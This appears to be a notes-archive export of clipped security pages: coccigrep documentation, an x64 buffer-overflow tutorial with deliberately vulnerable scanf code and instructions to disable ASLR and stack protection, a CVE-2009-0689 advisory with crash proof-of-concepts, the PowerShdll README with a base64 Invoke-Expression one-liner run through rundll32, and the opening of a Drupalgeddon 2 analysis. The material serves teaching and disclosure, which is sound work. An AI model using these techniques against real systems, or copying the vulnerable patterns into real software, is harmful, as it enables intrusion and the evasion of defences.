To find where in a set of files the structure named `Packet` is used, you can
run:

[code]

    $ coccigrep  -t Packet *c
    source-af-packet.c:272:         p = ptv->in_p;
    source-af-packet.c:300:     p->datalink = ptv->datalink;
    source-af-packet.c:758:     switch(p->datalink) {
[/code]

To find where in a set of files the `datalink` attribute is used in the
structure  
named `Packet`, you can simply do:

[code]

    $ coccigrep  -t Packet -a datalink  *c
    source-af-packet.c:300:     p->datalink = ptv->datalink;
    source-af-packet.c:758:     switch(p->datalink) {
    source-erf-dag.c:525:     p->datalink = LINKTYPE_ETHERNET;
[/code]

If you want to be more precise and find where this attribute is set, you can
use  
the operation flag \(-o\). One of its value is `set` which indicate we only
want  
the match where the attribute is set:

[code]

    $ coccigrep  -t Packet -a datalink -o set  source*c
    source-af-packet.c:300:     p->datalink = ptv->datalink;
    source-erf-dag.c:525:     p->datalink = LINKTYPE_ETHERNET;
[/code]

coccigrep supports syntax highlighting through the pygments module. For
example, running `coccigrep -t Packet -a datalink -o test -c -A 3 -B 3 -f html
/tmp/test.c` will output to stdout some colorized HTML code:  

[code]

    /tmp/test.c: l.300 -3, l.300 +3, Packet *p
            hdrp->sll_protocol = from.sll_protocol;
        }
    
        while (p->datalink >= ptv->datalink) {
        	SET_PKT_LEN(p, caplen + offset);
        	if (PacketCopyData(p, ptv->data, GET_PKT_LEN(p)) == -1) {
               TmqhOutputPacketpool(ptv->tv, p);
    
[/code]

## Usage

[code]

    usage: coccigrep [-h] [-t TYPE] [-a ATTRIBUT]
                     [-o {set,callg,used,func,test,deref}] [-s SP] [-A AFTER]
                     [-B BEFORE] [-C NCPUS] [-c] [-V] [-E] [-f {term,html}] [-v]
                     [--version] [-L]
                     [file [file ...]]
    
    Semantic grep based on coccinelle
    
    positional arguments:
      file                  List of files
    
    optional arguments:
      -h, --help            show this help message and exit
      -t TYPE, --type TYPE  C type where looking for
      -a ATTRIBUT, --attribut ATTRIBUT
                            C attribut that is set
      -o {set,callg,used,func,test,deref}, --operation {set,callg,used,func,test,deref}
                            Operation on structure
      -s SP, --sp SP        Semantic patch to use
      -A AFTER, --after-context AFTER
                            Number of line after context
      -B BEFORE, --before-context BEFORE
                            Number of line before context
      -C NCPUS, --concurrency NCPUS
                            Number of cpus to use
      -c, --color           colorize output (need pigments)
      -V, --vim             vim output
      -E, --emacs           emacs output
      -f {term,html}, --output-format {term,html}
                            colorize format for output
      -v, --verbose         verbose output (including coccinelle error)
      --version             show program's version number and exit
      -L, --list-operations
                            List available operations
[/code]

Run `coccigrep -h` for up-to-date and complete list of options.

### Vim integration

To use coccigrep in vim, you can use the `cocci-grep.vim` plugin provided in
the \`editors\` directory. To do so you can simply copy it to your plugin
directory which is usually `~/.vim/plugin/`. If your `coccigrep` script in not
in your path, you can use the coccigrep\_path variable to give complete path.
For example, you can add to your `.vimrc`:

[code]

    let g:coccigrep_path = '/usr/local/bin/coccigrep'
[/code]

And then you can run commands like ::

[code]

    :Coccigrep
    :Coccigrep Packet datalink source-*.c
    :Coccigrep Packet datalink set source-*.c
[/code]

First command will interactively ask you the value. Second one will search all
dereference of the datalink attribut for Packet structure. The last one will
look where the set operation is done on the datalink attribute of Packet. To
get the list of operations on your system, you can run `coccigrep -L` or look
at the list provided when input for operation is asked in interactive mode.

The matches will appear in the quickfix list and the file corresponding to
first match will be opened at the corresponding line. Note that you can use
completion on structure and attribute names based on tags \(generated by
`:make tags`\).

### Running coccigrep in emacs

To use coccigrep in emacs, you need to load the `cocci-grep.el` module
provided in the `editors` directory of the source code. For example, if you
copy it in `~/.emacs.d/site-lisp/`, you can do:

[code]

    (add-to-list 'load-path "~/.emacs.d/site-lisp/")
    (require 'cocci-grep)
[/code]

And then you can run something like:

[code]

    Meta+x cocci-grep
[/code]

The script is interactive and you will need to answer to the questions which
are:

  * Type: The structure type you are searching
  * Attribut: The attribute in the structure
  * Operation: The operation on the structure. The set of commands include set,used,func,test,deref
  * Files: A blob expression that will match the file you want to search in

The matches will appear in a buffer with mode set to `grep-mode` and you will
thus be able to jump on occurence. History is available on the different
parameters.

## Known bugs

The `operation` option could lead to some missed match because the semantic
patches used internally may needing some improvement.

## Reporting issue or idea

Please use github to report issue. All ideas are welcome.

## Extending coccigrep

It is easy to extend coccigrep: adding a new match function is just dropping a
semantic patch in the data directory. For example, the latest add at the time
of the writing is the func match. The commit on github will show you that:

  * A file named func.cocci has been added in the src/data directory
  * It contains something that looks like a semantic patch

Here’s the file:

[code]

    @init@
    typedef $type;
    $type *p;
    position p1;
    @@
    
    (
    $attribut(p@p1, ...)
    |
    $attribut(..., p@p1, ...)
    |
    $attribut(..., p@p1)
    )
[/code]

In fact this is a templatized semantic patch. There is two variables `$type`
and `$attribut` that will be replaced by the content of the command line
option `-t` and `-a`. The last constraint about the semantic patch is that
there is a position `p1` which is used to display the positionnal information
about the match.

## Using coccinelle directly

It is possible to use coccinelle from command line to perform some of the
task. For example, to get all access to the datalink attribute, one can run:

[code]

    $ spatch -sp "e:Packet *:->datalink" stream-tcp.c
    init_defs_builtins: /home/eric/builds/coccinelle//share/coccinelle/standard.h
    HANDLING: stream-tcp.c
    diff =
    @@
    Packet * e;
    @@
    * e->datalink
    
    --- stream-tcp.c
    +++ /tmp/cocci-output-27859-9d2f27-stream-tcp.c
    @@ -4467,7 +4467,6 @@ Packet *StreamTcpPseudoSetup(Packet *par
    
         /* copy packet and set lenght, proto */
         p->proto = parent->proto;
    -    p->datalink = parent->datalink;
    
         PacketCopyData(p, pkt, len);
         p->recursion_level = parent->recursion_level + 1;
    
[/code]

This feature is available since version 1.0-rc5. More information in this
mail.

## Developer documentation

Documentation of the `coccigrep` module is generated via sphinx: coccigrep
documentation

# Buffer Overflows and You

**Created:**| _1/31/2012 7:21:39 PM_  
---|---  
**Updated:**| _1/31/2012 7:21:52 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials x64_  
  

## Making our lives simpler

Let's do a couple of things now to make things easier for us. First, run the
following as root:

[code]

    echo 0 > /proc/sys/kernel/randomize_va_space
    
[/code]

Second, whenever we compile a program from now on be sure to add the following
two command line options:

[code]

    -fno-stack-protector -z execstack
    
[/code]

We'll talk more about these in the Defenses section.

## Your friend, the downward-growing stack

If you recall from the introduction, there were a number of regions in a
process' address space. The one of interest to us for the time being is the
stack. Programs use the stack to store temporary, or automatic variables,
arguments passed during a function call, and information needed to return to a
previous point in the program when a function call is made.

There are also three registers that are important at this point - RBP, RSP,
and RIP. RSP is the stack pointer. The stack works just like a LIFO queue with
push\(\) and pop\(\) operations. RSP tracks the next available position in
this queue.

Having one giant queue can get fairly complicated when debugging, say, a
deeply recursive function. So, to make things easier, we introduce the notion
of a "stack frame." The stack frame is essentially the region of the stack
that is presently active, or that corresponds to the presently executing
function. It is pointed to by RBP, the "base pointer," and is used in
combination with an offset to reference all local variables. Every time a
function is called, RBP is updated to point to its stack frame.

Finally, RIP is the instruction pointer. It holds the address of the
instruction that the CPU just loaded and is presently executing.

<img src='img/Temp2_1183.jpg' alt='stack-sm' />

The diagram above shows a snapshot of the stack for a program that is
presently in func1\(\), which was called from main\(\). In order for the stack
to look this way, some things must have happened when func1\(\) was called.
These steps are defined by the C calling convention. \[2\]  
1\. The arguments to func1\(\) were pushed onto the stack.  
2\. func1\(\) was called.  
3\. RBP was pushed onto the stack.  
4\. RSP was moved to RBP.  
5\. Space for the local variables was allocated on the stack.  
6\. Local variables were set to initial values \(if provided\).  
Steps 3 through 6 are called the **function prelude**.

Pretty pictures are nice, you say, but is it really like that? Well, let's
write a program to take a look. First start by throwing this in a file called
"walk.c."...

[code]

    #include <stdio.h>
    
    void walk(void *a, int bytes)
    {
      int i;
      int j;
      char *addr = a;
    
      /* Make sure address is 8-byte aligned */
      while (((long)addr) % 8) addr++;
    
      for (i = 0; i < bytes / 8; i++)
      {
        printf("%p: ", addr);
    
        /* Print hex values */
        for (j = 0; j < 8; j++)
          printf("%02hhx ", addr[j]);
    
        /* Print ascii values */
        for (j = 0; j < 8; j++)
          printf("%c", isprint(addr[j]) ? addr[j] : '?');
    
        addr -= 8;
        printf("\n");
      }
      return;
    }
    
[/code]

The function above allows us to dump / display values stored at a given
address in memory. So let's write a simple program and "walk" its stack...

[code]

    #include "walk.c"
    
    void hello(int value) {
      int local = 0xdecafbad;
    
      walk(&local+16, 112);
    }
    
    int main(int argc, char *argv[], char *envp[]) {
      int local = 0xbeefbeef;
    
      printf("Address of main is %p\n", main);
      printf("Address of local is %p\n", &local);
      hello(0xaaaaaaaa);
    
      return 0;
    }
    
[/code]

Now let's compile and run it...

[code]

    $ gcc -fno-stack-protector -z execstack -o doit doit.c
    $ ./doit
    Address of main is 0x400678
    Address of local is 0x7fffffffe43c
    0x7fffffffe440: 00 00 00 00 00 00 00 00 ????????
    0x7fffffffe438: 00 00 00 00 ef be ef be ????????
    0x7fffffffe430: 20 e5 ff ff ff 7f 00 00  ???????
    0x7fffffffe428: 70 04 40 00 01 00 00 00 p?@?????
    0x7fffffffe420: 28 e5 ff ff ff 7f 00 00 (???????
    0x7fffffffe418: 38 e5 ff ff ff 7f 00 00 8???????
    0x7fffffffe410: a8 fa 40 e7 32 00 00 00 ??@?2???
    0x7fffffffe408: cc 06 40 00 00 00 00 00 ??@?????
    0x7fffffffe400: 40 e4 ff ff ff 7f 00 00 @???????
    0x7fffffffe3f8: e8 f0 21 e7 ad fb ca de ??!?????
    0x7fffffffe3f0: 10 e5 00 e7 32 00 00 00 ????2???
    0x7fffffffe3e8: 00 43 77 e7 aa aa aa aa ?Cw?????
    0x7fffffffe3e0: e5 07 40 00 00 00 00 00 ??@?????
    0x7fffffffe3d8: 76 06 40 00 00 00 00 00 v?@?????
    
[/code]

That looks scary. In fact, it doesn't look right at all now does it? Well, we
must keep in mind that the architecture we're running on \(x86\_64\) is
little-endian. That is, when you have a multi-byte value it is stored with the
most significant byte at the lowest address and the least significant byte at
the highest address. In other words, the bytes show up in reverse order. Take
main\(\)'s local variable for instance. It holds 0xbeefbeef. We can see it on
the stack at address 0x7fffffffe43c, in reverse order.

Now hopefully you notice some familiar values in there. It's worth mentioning
that gcc aggressively pads the stack to ensure proper alignment of variables
and increased performance. A simple google search for "gcc stack alignment"
returns all sorts of interesting results and flamewars on what the correct
approach should be. So, just get used to garbage being scattered all over the
place.

That said it appears as though we oversimplified just a little too much. With
modern versions of gcc on x86\_64, the function arguments \(if there aren't a
lot of them\) are often times passed via registers. In the function prelude,
these values are read from the register\(s\) and pushed onto the stack _after_
space has been allocated for the local variables. This also helps to prevent
attackers from overwriting them in an attempt to accomplish some malicious
goal. \[3\] For the things we're doing, it doesn't really matter - but it
helps to know where they are.

Now things should be starting to make sense. We can see the entire stack frame
for our hello\(\) function. It starts at 0x7fffffffe400, where we see the
previous base pointer preceded by the return address \(note that main is
located at 0x400678, and it makes sense that 0x4006cc would still be in that
function\). After the base pointer are the local variables \(and some
padding\), finally followed by the function arguments.

## Your first buffer overflow

On with the destruction. Let's tweak our program from above just a little
bit...

[code]

    #include "walk.c"
    
    void hello(int value) {
      int local = 0xdecafbad;
      char buf[16];
    
      walk(&local+4, 64);
    
      printf("Please enter a string: ");
      scanf("%s", buf);
      printf("You entered %s!\n", buf);
    
      walk(&local+4, 64);
    }
    
    int main(int argc, char *argv[], char *envp[]) {
      int local = 0xbeefbeef;
    
      printf("Address of main is %p\n", main);
      printf("Address of local is %p\n", &local);
    
      hello(0xaaaaaaaa);
    
      return 0;
    }
    
[/code]

Now when we run it and, for instance, input "Hello" we can see it in the
buffer allocated on the stack...

[code]

    $ gcc -fno-stack-protector -z execstack -o doit doit.c
    $ ./doit
    Address of main is 0x400767
    Address of local is 0x7fffffffe43c
    0x7fffffffe410: a8 fa 40 e7 32 00 00 00 ??@?2???
    0x7fffffffe408: bb 07 40 00 00 00 00 00 ??@?????
    0x7fffffffe400: 40 e4 ff ff ff 7f 00 00 @???????
    0x7fffffffe3f8: e8 f0 21 e7 ad fb ca de ??!?????
    0x7fffffffe3f0: 10 e5 00 e7 32 00 00 00 ????2???
    0x7fffffffe3e8: 00 43 77 e7 32 00 00 00 ?Cw?2???
    0x7fffffffe3e0: 01 09 40 00 00 00 00 00 ??@?????
    0x7fffffffe3d8: 67 07 40 00 aa aa aa aa g?@?????
    Please enter a string: Hello
    You entered Hello!
    0x7fffffffe410: a8 fa 40 e7 32 00 00 00 ??@?2???
    0x7fffffffe408: bb 07 40 00 00 00 00 00 ??@?????
    0x7fffffffe400: 40 e4 ff ff ff 7f 00 00 @???????
    0x7fffffffe3f8: e8 f0 21 e7 ad fb ca de ??!?????
    0x7fffffffe3f0: 10 e5 00 e7 32 00 00 00 ????2???
    0x7fffffffe3e8: 00 43 77 e7 32 00 00 00 ?Cw?2???
    0x7fffffffe3e0: 48 65 6c 6c 6f 00 00 00 Hello???
    0x7fffffffe3d8: 67 07 40 00 aa aa aa aa g?@?????
    $
    
[/code]

Interesting. What happens if we keep going?

[code]

    $ ./doit
    Address of main is 0x400767
    Address of local is 0x7fffffffe43c
    0x7fffffffe410: a8 fa 40 e7 32 00 00 00 ??@?2???
    0x7fffffffe408: bb 07 40 00 00 00 00 00 ??@?????
    0x7fffffffe400: 40 e4 ff ff ff 7f 00 00 @???????
    0x7fffffffe3f8: e8 f0 21 e7 ad fb ca de ??!?????
    0x7fffffffe3f0: 10 e5 00 e7 32 00 00 00 ????2???
    0x7fffffffe3e8: 00 43 77 e7 32 00 00 00 ?Cw?2???
    0x7fffffffe3e0: 01 09 40 00 00 00 00 00 ??@?????
    0x7fffffffe3d8: 67 07 40 00 aa aa aa aa g?@?????
    Please enter a string: Hello!_uh_oh._I'm_giving_you_more_than_15_chars!
    You entered Hello!_uh_oh._I'm_giving_you_more_than_15_chars!!
    0x7fffffffe410: 00 fa 40 e7 32 00 00 00 ??@?2???
    0x7fffffffe408: 35 5f 63 68 61 72 73 21 5_chars!
    0x7fffffffe400: 65 5f 74 68 61 6e 5f 31 e_than_1
    0x7fffffffe3f8: 5f 79 6f 75 5f 6d 6f 72 _you_mor
    0x7fffffffe3f0: 6d 5f 67 69 76 69 6e 67 m_giving
    0x7fffffffe3e8: 68 5f 6f 68 2e 5f 49 27 h_oh._I'
    0x7fffffffe3e0: 48 65 6c 6c 6f 21 5f 75 Hello!_u
    0x7fffffffe3d8: 67 07 40 00 aa aa aa aa g?@?????
    Segmentation fault (core dumped)
    
[/code]

Ahhh victory. So now we know that if one encounters code that fills a buffer
in an unbounded fashion, all we have to do is give it too much data and the
program will most likely crash.

Why? Well, it should be fairly clear at this point that in the process of
writing past the end of the buffer \(overflowing it\) we overwrote the return
address with an invalid value. When the function returned, it loaded this
value into RIP and proceeded to fault on it.

Sounds plausible, but we may have also caused a crash in a different way. We
also overwrote the old stack frame pointer. On return, that was also loaded
into RBP and if the value is incorrect and/or improperly aligned that could
also cause the program to crash \(usually with a Bus Error\).

# monstrepancies.jpg 857 × 4473 Pixel

**Created:**| _10/25/2010 9:16:44 PM_  
---|---  
**Updated:**| _10/25/2010 9:17:05 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
<img src='img/Temp2_10463.jpg' />

# MacOS X 10.5/10.6 libc/strtod\(3\) buffer overflow - SecurityReason.com

**Created:**| _1/12/2010 9:53:52 AM_  
---|---  
**Updated:**| _1/12/2010 9:54:13 AM_  
**Author:**| __  
**Tags:**| _Exploit Mac-hacking_  
  

Advisory Content :  
  
\-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
\[ MacOS X 10.5/10.6 libc/strtod\(3\) buffer overflow \]  
  
Author: Maksymilian Arciemowicz and sp3x  
http://SecurityReason.com  
Date:  
\- - Dis.: 07.05.2009  
\- - Pub.: 08.01.2010  
  
CVE: CVE-2009-0689  
CWE: CWE-119  
Risk: High  
Remote: Yes  
  
Affected Software:  
\- - MacOS 10.6  
  
NOTE: Prior versions may also be affected.  
  
Original URL:  
http://securityreason.com/achievement\_securityalert/81  
  
  
\- --- 0.Description ---  
Mac OS is the trademarked name for a series of graphical user  
interface-based operating systems developed by Apple Inc. \(formerly Apple  
Computer, Inc.\) for their Macintosh line of computer systems. The Macintosh  
user experience is credited with popularizing the graphical user interface.  
The original form of what Apple would later name the "Mac OS" was the  
integral and unnamed system software first introduced in 1984 with the  
original Macintosh, usually referred to simply as the System software.  
  
  
\- --- 1. MacOS X 10.5/10.6 libc/strtod\(3\) buffer overflow ---  
The main problem exist in dtoa implementation. MacOS X has the same dtoa as  
OpenBSD, NetBSD etc. This problem affects not only libc/gdtoa. Affected is  
also strtod\(3\) function.  
For more information, please see SREASONRES:20090625.  
  
http://securityreason.com/achievement\_securityalert/63  
  
but fix for SREASONRES:20090625, used by openbsd was not good.  
More information about fix for openbsd and similars SREASONRES:20091030,  
  
http://securityreason.com/achievement\_securityalert/69  
  
We can create any number of float, which will overwrite the memory. In  
Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and  
it is possible to call 16<= elements of freelist array.  
  
It is true that the examples presented in the previous notes, using the  
printf \(1\) do not work under MacOS X. This does not mean the MacOSX C  
library is safe.  
  
More:  
http://cwe.mitre.org/data/definitions/119.html  
  
  
\- --- 2. Proof of Concept \(PoC\) ---  
\- --- 2.1. strtod\(3\) buffer overflow example PoC ---  
\#include <stdio.h>  
\#include <stdlib.h>  
  
int main \(\)  
\{  
  
char number\[\] = "0.1111111111...11", \*e;  
  
double weed = strtod\(number, &e\);  
  
printf\("grams = %lf\n", weed\);  
return 0;  
  
\}  
  
\(gdb\) r  
Starting program: /Volumes/ARC/299  
Reading symbols for shared libraries ++. done  
  
Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
Reason: KERN\_PROTECTION\_FAILURE at address: 0x0039f000  
0x002271ac in \_\_diff\_D2A \(\)  
  
\(gdb\) i r  
  
eax 0xc71c71c7 -954437177  
ecx 0xacb44 707396  
edx 0x0 0  
ebx 0x2c2e4f 2895439  
esp 0xbffb65d0 0xbffb65d0  
ebp 0xbffb6618 0xbffb6618  
esi 0x39f000 3796992  
edi 0x0 0  
eip 0x2271ac 0x2271ac <\_\_diff\_D2A+246>  
eflags 0x10246 66118  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x37 55  
  
edi=0x0  
eax=0xc71c71c7  
eip=0x002271ac  
  
\(gdb\) x/i 0x002271ac  
0x2271ac <\_\_diff\_D2A+246>: mov %eax,\(%esi\)  
  
\- --- 2.2. atof\(3\) buffer overflow example PoC ---  
\#include <stdio.h>  
\#include <stdlib.h>  
  
int  
main\(\)  
\{  
char s\[\]="111.111111...11";  
  
float a=atof\(s\);  
printf\("%f",a\);  
\}  
  
  
x$ ls -la m0.c  
\- -rwxrwxrwx@ 1 x staff 317507 Jan 3 14:23 m0.c  
x$ gcc -o m0 m0.c  
x$ ./m0  
Bus error  
  
Program received signal EXC\_BAD\_ACCESS, Could not access memory.  
Reason: KERN\_PROTECTION\_FAILURE at address: 0x0039f000  
0x00227017 in \_\_lshift\_D2A \(\)  
  
\(gdb\) x/i 0x00227017  
0x227017 <\_\_lshift\_D2A+68>: movl $0x0,\(%edx\)  
\(gdb\) i r  
eax 0x16bc 5820  
ecx 0x80b6 32950  
edx 0x39f000 3796992  
ebx 0x2c2e4f 2895439  
esp 0xbffb2070 0xbffb2070  
ebp 0xbffb20b8 0xbffb20b8  
esi 0x26bd 9917  
edi 0x80b7 32951  
eip 0x227017 0x227017 <\_\_lshift\_D2A+68>  
eflags 0x10203 66051  
cs 0x17 23  
ss 0x1f 31  
ds 0x1f 31  
es 0x1f 31  
fs 0x0 0  
gs 0x37 55  
\(gdb\) bt  
\#0 0x00227017 in \_\_lshift\_D2A \(\)  
\#1 0x002c3b74 in strtod\_l$UNIX2003 \(\)  
\#2 0x00275ba7 in atof \(\)  
\#3 0x000017eb in main \(\)  
  
  
\- --- 3. SecurityReason Note ---  
Officialy SREASONRES:20090625 has been detected in:  
\- - OpenBSD  
\- - NetBSD  
\- - FreeBSD  
\- - MacOSX  
\- - Google Chrome  
\- - Mozilla Firefox  
\- - Mozilla Seamonkey  
\- - Mozilla Thunderbird  
\- - Mozilla Sunbird  
\- - Mozilla Camino  
\- - KDE \(example: konqueror\)  
\- - Opera  
\- - K-Meleon  
\- - F-Lock  
\- - MatLab  
\- - J  
  
This list is not yet closed.  
FreeBSD project has fixed this issue \(state 2010-01-05\) only in  
MAIN  
RELENG\_8\_0\_BP  
RELENG\_8\_0\_0\_RELEASE  
RELENG\_8\_0  
RELENG\_7  
RELENG\_6  
  
Please note that the issue can also exist in Sony PlayStation 3.  
The license of PS3 :  
  
http://www.scei.co.jp/ps3-license/see.html  
  
\- ---  
The separate 'dtoa.c' file is separately licenced, thus:  
Copyright. 1991, 2000 by Lucent Technologies.  
\- ---  
  
MacOS gdtoa have also "Lucent Technologies" license from year 2000.  
  
  
\- --- 4. Fix ---  
NetBSD fix \(optimal\):  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gdtoa/gdtoaimp.h  
  
OpenBSD fix:  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/sum.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorx.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtord.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorQ.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtof.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodg.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtod.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/smisc.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/misc.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/hdtoa.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gethex.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/gdtoa.h  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dtoa.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/dmisc.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdio/vfprintf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/arch/vax/gdtoa/strtof.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorxL.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtorf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtordd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopxL.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopx.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopdd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtopQ.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodnrp.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtodI.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIxL.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIx.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIg.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIf.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIdd.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoId.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/strtoIQ.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/qnan.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_xfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_xLfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_ffmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_dfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_ddfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_\_fmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/g\_Qfmt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/gdtoa/arithchk.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/gcvt.c  
http://www.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/ecvt.c  
  
  
\- --- 5. Credits ---  
Discovered by Maksymilian Arciemowicz and sp3x from SecurityReason.com  
  
  
\- --- 6. Greets ---  
Infospec p\_e\_a pi3  
  
  
\- --- 7. Contact ---  
Email:  
\- - cxib \{a.t\] securityreason \[d0t\} com  
\- - sp3x \{a.t\] securityreason \[d0t\} com  
  
GPG:  
\- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
\- - http://securityreason.com/key/sp3x.gpg  
  
http://securityreason.com/  
http://securityreason.com/exploit\_alert/ \- Exploit Database  
http://securityreason.com/security\_alert/ \- Vulnerability Database  
  
\-----BEGIN PGP SIGNATURE-----  
  
iEYEARECAAYFAktGcnsACgkQpiCeOKaYa9aRzgCgth+8HlRjOPmeJNGc+wCplmmC  
xsAAoNsMatpwiW8k93sTbjMayHfPna1a  
=CHer  
\-----END PGP SIGNATURE-----  
  

<img src='img/Temp2_5068.png' width='4' height='5' alt='Arrow' />
**References** :

  

  

http://securityreason.com/achievement\_securityalert/63

http://securityreason.com/achievement\_securityalert/69

# p3nt4/PowerShdll

**Created:**| _5/28/2017 11:02:25 AM_  
---|---  
**Updated:**| _5/28/2017 11:02:25 AM_  
**Author:**| __  
**Tags:**| _powershell_  
  

  

# PowerShdll

Run PowerShell with dlls only. Does not require access to powershell.exe as it
uses powershell automation dlls.

## dll mode:

[code]

    Usage:
    rundll32 PowerShdll,main <script>
    rundll32 PowerShdll,main -f <path>       Run the script passed as argument
    rundll32 PowerShdll,main -w      Start an interactive console in a new window
    rundll32 PowerShdll,main -i      Start an interactive console in this console
    
[/code]

## exe mode

[code]

    Usage:
    PowerShdll.exe <script>
    PowerShdll.exe -f <path>       Run the script passed as argument
    PowerShdll.exe -i      Start an interactive console in this console
    
[/code]

## Examples

### Run base64 encoded script

[code]

    rundll32 Powershdll.dll,main $a = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("BASE64")); Invoke-Expression $a
    
[/code]

## Known Issues

Some errors do not seem to show in the output. May be confusing as commands
such as Import-Module do not output an error on failure. Make sure you have
typed your commands correctly\!

  

# Uncovering Drupalgeddon 2 - Check Point Research

**Created:**| _4/16/2018 5:21:15 AM_  
---|---  
**Updated:**| _4/16/2018 5:21:15 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Uncovering Drupalgeddon 2

April 12, 2018

By Eyal Shalev, Rotem Reiss and Eran Vaknin

**Abstract**

Two weeks ago, a highly critical \(25/25 NIST rank\) vulnerability, nicknamed
Drupalgeddon 2 \(SA-CORE-2018-002 / CVE-2018-7600\), was disclosed by the
Drupal security team. This vulnerability allowed an unauthenticated attacker
to perform remote code execution on default or common Drupal installations.

Drupal is an open-source content management system \(CMS\) that is used by
more than one million sites around the world \(including governments,
e-retail, enterprise organizations, financial institutions and more\), all of
which are vulnerable unless patched.

Until now details of the vulnerability were not available to the public,
however, Check Point Research can now expand upon this vulnerability and
reveal exactly how it works.

In brief, Drupal had insufficient input sanitation on Form API \(FAPI\) AJAX
requests. As a result, this enabled an attacker to potentially inject a
malicious payload into the internal form structure. This would have caused
Drupal to execute it without user authentication. By exploiting this
vulnerability an attacker would have been able to carry out a full site
takeover of any Drupal customer.

The vulnerability existed on all Drupal versions from 6 to 8, though has since
been patched to those who manually update their site. In this document we will
showcase real life attack scenarios around an out-of-the-box installation of
Drupal’s flagship product, Drupal 8.

**Technical Details**

**The Vulnerability**

To provide some background, Drupal’s Form API was introduced in Drupal 6 and
allowed alteration of the form data during the form rendering process. This
revolutionized the way markup processing was done.

In Drupal 7 the Form API was generalized to what is now known as “Renderable
Arrays”. This extended API is used to represent the structure of most of the
UI elements in Drupal, such as pages, blocks, nodes and more.

Renderable arrays contain metadata that is used in the rendering process.
These renderable arrays are a key-value structure in which the property keys
start with a hash sign \(\#\). Please see below for an example:

\[  
‘\#type’ => ‘markup’,  
‘\#markup’ => ‘<em>some text</em>’,  
‘\#prefix’ => ‘<div>’,  
‘\#suffix’ => ‘</div>’  
\]

**Drupal’s Patch**

The patch that Drupal published adds a single class called _RequestSanitizer_
with a _stripDangerousValues_ method that unsets all the items in an input
array for keys that start with a hash sign. This method sanitizes input data
in $\_GET, $\_POST & $\_COOKIES during the very early stages of Drupal’s
bootstrap \(immediately after loading the site configurations\).

We assume that one of the reasons that the patch was done in this way was to
make it harder to find and exploit the vulnerability.

**Finding an Attack Vector**

Because of the above we focused on forms that are exposed to anonymous users.

There are a few of those forms available, one of which is the user
registration form. This form contains multiple fields, as can be seen in the
screenshot below.

